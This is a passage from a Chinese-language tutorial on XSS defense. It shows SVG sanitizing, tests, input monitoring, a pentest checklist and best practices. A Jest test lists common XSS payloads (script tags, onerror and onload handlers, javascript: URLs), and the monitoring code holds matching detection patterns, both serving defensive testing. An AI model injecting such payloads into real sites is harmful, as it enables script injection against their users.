4. SVG文件安全 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 const DOMPurify = require ('isomorphic-dompurify' );function sanitizeSVG (svgContent ) { return DOMPurify .sanitize (svgContent, { USE_PROFILES : { svg : true , svgFilters : true }, ADD_TAGS : ['use' ], FORBID_TAGS : ['script' , 'foreignObject' ], FORBID_ATTR : ['onload' , 'onerror' , 'onclick' ] }); } app.post ('/upload-svg' , upload.single ('svg' ), (req, res ) => { const fs = require ('fs' ); const svgContent = fs.readFileSync (req.file .path , 'utf8' ); const cleanSVG = sanitizeSVG (svgContent); fs.writeFileSync (req.file .path , cleanSVG); res.json ({ success : true }); });
5. PDF生成安全 1 2 3 4 5 6 7 8 9 10 11 12 13 const PDFDocument = require ('pdfkit' );function generatePDF (userData ) { const doc = new PDFDocument (); doc.fontSize (20 ).text ('用户信息' , { underline : true }); doc.fontSize (12 ).text (`姓名: ${userData.name} ` ); doc.fontSize (12 ).text (`邮箱: ${userData.email} ` ); return doc; }
八、安全测试与监控 1. 自动化安全测试 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 describe ('XSS Protection Tests' , () => { const xssPayloads = [ '<script>alert("XSS")</script>' , '<img src=x onerror=alert("XSS")>' , 'javascript:alert("XSS")' , '<svg onload=alert("XSS")>' , '"><script>alert("XSS")</script>' , '\'; alert("XSS"); //' , ]; test ('应该转义HTML特殊字符' , () => { xssPayloads.forEach (payload => { const escaped = escapeHtml (payload); expect (escaped).not .toContain ('<script' ); expect (escaped).not .toContain ('onerror=' ); expect (escaped).not .toContain ('javascript:' ); }); }); test ('应该拒绝危险的用户输入' , () => { xssPayloads.forEach (payload => { expect (() => validateInput (payload)).toThrow (); }); }); test ('textContent应该安全显示内容' , () => { const div = document .createElement ('div' ); div.textContent = '<script>alert("XSS")</script>' ; expect (div.innerHTML ).toBe ('<script>alert("XSS")</script>' ); }); });
2. 安全监控 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 function logSuspiciousActivity (req, payload ) { const suspiciousPatterns = [ /<script/i , /javascript:/i , /on\w+=/i , /<iframe/i , /eval\(/i ]; for (let pattern of suspiciousPatterns) { if (pattern.test (payload)) { console .warn ('检测到可疑的XSS尝试:' , { ip : req.ip , userAgent : req.headers ['user-agent' ], payload : payload.substring (0 , 100 ), timestamp : new Date ().toISOString (), url : req.originalUrl }); sendSecurityAlert ({ type : 'XSS_ATTEMPT' , details : { ip : req.ip , payload : payload } }); return true ; } } return false ; } app.use ((req, res, next ) => { const inputs = [ ...Object .values (req.query ), ...Object .values (req.body ), req.headers .referer , req.headers ['user-agent' ] ]; inputs.forEach (input => { if (typeof input === 'string' ) { logSuspiciousActivity (req, input); } }); next (); });
3. 渗透测试清单 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 XSS测试清单: □ 所有输入点已测试(URL参数、表单、HTTP头) □ 测试了所有输出上下文(HTML、JavaScript、CSS、URL) □ 测试了存储型XSS(评论、个人资料、文件上传) □ 测试了反射型XSS(搜索、错误消息、重定向) □ 测试了DOM型XSS(客户端JavaScript处理) □ 测试了富文本编辑器 □ 测试了文件上传(SVG、HTML、XML) □ 尝试了编码绕过(HTML实体、Unicode、Base64) □ 尝试了标签属性注入 □ 尝试了JavaScript上下文注入 □ 测试了CSP绕过 □ 测试了过滤器绕过 □ 检查了第三方库的XSS漏洞 □ 验证了HttpOnly Cookie设置 □ 检查了安全响应头
九、总结与最佳实践 核心防御原则
永远不要信任用户输入 - 所有输入都应被视为潜在的恶意代码
输出编码是关键 - 根据上下文使用正确的编码方式
纵深防御 - 多层安全机制,不依赖单一防御
最小权限原则 - Cookie设置HttpOnly,使用CSP限制脚本执行
使用安全框架 - 利用现代框架的内置保护
快速检查清单 ✅ 输出编码
HTML上下文:使用htmlspecialchars()或escapeHtml()
JavaScript上下文:使用JSON.stringify()或escapeJs()
URL上下文:使用encodeURIComponent()
CSS上下文:使用escapeCss()
✅ 输入验证
使用白名单而非黑名单
限制长度和格式
验证数据类型
✅ 安全配置
配置CSP策略
Cookie设置HttpOnly、Secure、SameSite
设置X-Content-Type-Options: nosniff
设置X-Frame-Options: DENY
✅ 代码实践
使用textContent而非innerHTML
避免eval()、Function()、document.write()
使用参数化查询防止SQL注入
对富文本使用白名单净化
✅ 框架使用
React/Vue/Angular自动转义
谨慎使用dangerouslySetInnerHTML/v-html
使用DOMPurify净化HTML
XSS防御是一个持续的过程,需要开发团队的安全意识、代码审查、自动化测试和定期的安全评估。记住:输出编码是最有效的防御 ,结合CSP和其他安全措施可以构建强大的防御体系。